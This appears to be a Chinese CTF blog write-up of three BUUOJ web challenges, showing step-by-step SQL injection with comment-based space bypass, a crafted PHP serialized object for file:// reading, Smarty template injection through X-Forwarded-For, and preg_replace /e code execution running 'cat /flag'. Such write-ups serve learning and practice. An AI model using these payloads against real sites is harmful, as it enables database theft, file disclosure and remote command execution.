做做buuoj上的web题,本萌新纯采集,轻喷(((
[网鼎杯 2018] Fakebook
SQL注入兼反序列化
点开靶机,一眼醒目的login和join,尝试login,那肯定是失败的
所以我们试试注册,填好个人信息之后点击提交,但是提示Blog is not valid.
所以应该是博客地址的问题,应该是要一个确切的博客地址
所以这里把博客的地址都填上(只用填github.io的就可以了)
然后观察url发现no=1
于是尝试no=1’
发现SQL报错了
于是进行SQL注入
1 | no=-1'union select 1,2,3,4# |
回显 no hack _,说明过滤了关键词
接下来就是测试关键词的时候
发现union 无no hack回显 union select 有no hack 回显
应该是过滤了空格
所以使用
1 | no=-1'union/**/select/**/1,2,3,4# |
发现报错,去掉单引号
1 | no=-1/**/union/**/select/**/1,2,3,4# |
发现2号位回显正常
然后上方有个notice: unserialize()
说明有反序列化的存在
1 | no=-1/**/union/**/select/**/1,database(),3,4# |
爆出库名 fakebook
1 | no=-1/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema=database()# |
爆出表名 users
1 | no=-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name='users'# |
爆出列名 no username passwd data
1 | no=-1/**/union/**/select/**/1,group_concat(data),3,4/**/from/**/users# |
发现了一串序列化的结果
然后似乎就做不下去了。。。
应该还有一些隐藏的文件吧,打开F12也没有提示
所以应该是存在敏感文件
打开dirsearch扫一下… 不过由于buuoj有反爬这个特性在,所以很难受的就是需要加上delay,使得扫描的过程十分的慢…
推荐盲试 robots.txt www.zip .bak啥的
在robots.txt发现:
1 | User-agent: * |
直接访问/user.php.bak获得源码
1 |
|
所以我们只需要序列化用file协议写出的flag位置,读入后使用curl就能够返回flag的内容了
flag应该在根目录,那么序列化如下:
1 |
|
所以使用sql的语句写入内容:
1 | no=-1/**/union/**/select/**/1,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}',3,4# |
如果没有内容,打开F12试试,如果也没有的话就换位置
测试3、4号位:
1 | no=-1/**/union/**/select/**/1,2,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}',4# |
1 | no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'# |
发现4号位回显正常,打开F12即可获取flag
[BJDCTF2020] The mystery of ip
smarty 模板注入
打开靶机
点击Flag,发现显示的是你的IP
点击Hint,发现提示:
1 | <!-- Do you know why i know your ip? --> |
修改ip的话,应该是X-Forward-For的问题,所以我们使用burp抓包进行测试
修改X-Forward-For为127.0.0.1,显示为127.0.0.1
试试修改为{7*7},发现显示为49
应该就是ssti模板注入了,然后祭出经典老图
其实也可以通过
1 | {config} |
查看哪个模板
所以是smarty的ssti注入
smarty的模板注入直接使用系统命令即可:
1 | 可以使用 |
获得flag
[BJDCTF2020]ZJCTF,不过如此
[ZJCTF2019]NiZhuanSiWei的复刻了属于是(雾)
直接看代码:
1 |
|
同样的写入,文件包含以及一个next.php
那我们直接data协议写入,php://filter文件包含即可
1 | ?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php |
获得next.php内的base64代码,进行一个decode
1 |
|
经典再现:
指路Day 4: Baby match(每日一题)
preg_replace /e能够执行strolower(“\\1”)的内容
preg_replace输入的第一个是正则表达式str的值替换进strtolower(“\\1”)
也就相当于是
1 | eval('strtolower("\\1")') |
也就是说我们需要传入一个正则表达式,以及一个需要执行的命令,这个正则表达式能够匹配所有的字符
正则表达式:.*又称为贪婪模式,可以匹配到所有的字符
但是url中不能够使用 . 会被php读取成下划线
所以我们可以使用另外一个正则表达式:\S*
这个正则表达式可以匹配任何非空字符,等价于:
1 | [^ \f\n\r\t\v] |
然后我们传入的命令需要调用getFlag函数,执行eval函数:
所以写成${getFlag()},而eval函数直接执行get传参cmd传入的命令
所以cmd=system(‘cat /flag’);
但是由于这段代码是在next.php内的,所以我们需要进入next.php并且执行命令
1 | payload: |
未完待续捏
参考资料: